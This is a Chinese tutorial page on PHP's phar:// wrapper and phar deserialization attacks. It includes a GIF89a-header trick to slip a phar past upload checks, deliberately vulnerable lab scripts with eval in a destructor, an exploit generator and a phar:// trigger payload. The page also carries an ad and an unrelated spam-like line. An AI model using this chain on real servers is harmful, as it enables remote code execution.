<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ThinkChat2.0新版上線,更智能更精彩,支持會話、畫圖、視頻、閱讀、搜索等,送10W Token,即刻開啟你的AI之旅 廣告
                phar://—PHP 歸檔 **封裝協議摘要** | 屬性 | 支持 | | --- | --- | | 支持[allow\_url\_fopen](https://www.php.net/manual/zh/filesystem.configuration.php#ini.allow-url-fopen) | No | | 支持[allow\_url\_include](https://www.php.net/manual/zh/filesystem.configuration.php#ini.allow-url-include) | No | | 允許讀取 | Yes | | 允許寫入 | Yes | | 允許附加 | No | | 允許同時讀寫 | Yes | | 支持[stat()](https://www.php.net/manual/zh/function.stat.php) | Yes | | 支持[unlink()](https://www.php.net/manual/zh/function.unlink.php) | Yes | | 支持[rename()](https://www.php.net/manual/zh/function.rename.php) | Yes | | 支持[mkdir()](https://www.php.net/manual/zh/function.mkdir.php) | Yes | | 支持[rmdir()](https://www.php.net/manual/zh/function.rmdir.php) | Yes | ![](https://img.kancloud.cn/63/fb/63fb6f9bc13bcc644fd768cd4a18244d_858x268.png) ~~~ $context = stream_context_create(array('phar' => array('compress' => Phar::GZ)), array('metadata' => array('user' => 'cellog'))); file_put_contents('phar://my.phar/somefile.php', 0, $context); ~~~ 請注意,phar流包裝器不適用于任何glob ``` newDirectoryIterator('glob://phar://some.phar/*');//錯誤用法 newDirectoryIterator('phar://some.phar/');//正確用法 ``` ``` //Phar擴展 //構造一個不可執行的tar或zip歸檔對象 $p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest',Phar::ZIP) ; //將文件系統中的文件添加到tar / zip歸檔文件中 $p->addFromString('testfile.txt', 'this is just some test text'); // This works echo file_get_contents('phar://phartest.zip/testfile.txt'); //This Fails file_put_contents('phar://phartest.zip/testfile.txt', 'Thist is text for testfile.txt'); $context = stream_context_create( array('phar' =>array('compress' =>Phar::ZIP)) ) ; //This Fails file_put_contents( 'phar://phartest.zip/testfile.txt', 'Thist is text for testfile.txt',0,$context); // This works but only with 'r' readonly mode. $f = fopen( 'phar://C:\\Inetpub\\wwwroot\\PACT\\test\\phartest.zip\\testfile.txt', 'r') ; ``` 自己構建一個phar文件,php內置了一個Phar類來處理相關操作 ~~~ class TestObject {} $phar = new Phar("phar.phar"); //后綴名必須為phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub $o = new TestObject(); $o -> data='hu3sky'; $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ~~~ 訪問后,會生成一個phar.phar在當前目錄下 ![](https://img.kancloud.cn/61/97/6197d986f8d32d7c3c215dd3f163ce2f_1139x63.png) 用winhex打開生成的這個phar.phar ![](https://img.kancloud.cn/b1/1b/b11ba8c8fa3eb4fdd3f89ca0b3533c59_1043x227.png) 可以明顯的看到meta-data是以序列化的形式存儲的 漏洞: php識別phar文件是通過其文件頭的stub,更確切一點來說是\_\_HALT\_COMPILER();?>這段代碼,對前面的內容或者后綴名是沒有要求的。那么我們就可以通過添加任意的文件頭+修改后綴名的方式將phar文件偽裝成其他格式的文件 ``` class TestObject { } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //設置stub,增加gif文件頭 $phar ->addFromString('test.txt','test'); //添加要壓縮的文件 $object = new TestObject(); $object -> data = 'hu3sky'; $phar -> setMetadata($object); //將自定義meta-data存入manifest $phar -> stopBuffering(); ``` 采用這種方法可以繞過很大一部分上傳檢測。 # 利用條件 ## phar文件要能夠上傳到服務器端。 如`file_exists()`,`fopen()`,`file_get_contents()`,`file()`等文件操作的函數 ## 要有可用的魔術方法作為“跳板”。 ## 文件操作函數的參數可控,且`:`、`/`、`phar`等特殊字符沒有被過濾。 # 漏洞驗證 ## 環境準備 `upload_file.php`,后端檢測文件上傳,文件類型是否為gif,文件后綴名是否為gif `upload_file.html`文件上傳表單 `file_un.php`存在`file_exists()`,并且存在`__destruct()` ## 文件內容 `upload_file.php` ~~~ <?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; } ~~~ `upload_file.html` ~~~ <body> <form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body> ~~~ `file_un.php` ~~~ <?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename); ~~~ ## 實現過程 首先是根據file\_un.php寫一個生成phar的php文件,當然需要繞過gif,所以需要加GIF89a,然后我們訪問這個php文件后,生成了phar.phar,修改后綴為gif,上傳到服務器,然后利用file\_exists,使用`phar://`執行代碼 ## 構造代碼 `eval.php` ~~~ <?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering(); ~~~ 訪問eval.php,會在當前目錄生成phar.phar,然后修改后綴 gif ![](https://img.kancloud.cn/85/5c/855cb273d6fa38cd8df1b578c59b8cdc_739x35.png) 接著上傳,文件會上傳到upload\_file目錄下 ![](https://img.kancloud.cn/86/4d/864d7d189d3f1981fe338642c2c13477_572x241.png) 然后利用file\_un.php。 payload:filename=phar://upload\_file/phar.gif ![](https://img.kancloud.cn/f8/f2/f8f2f2e4363f0b6b9618e3a1eb579bb2_1911x942.png)
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看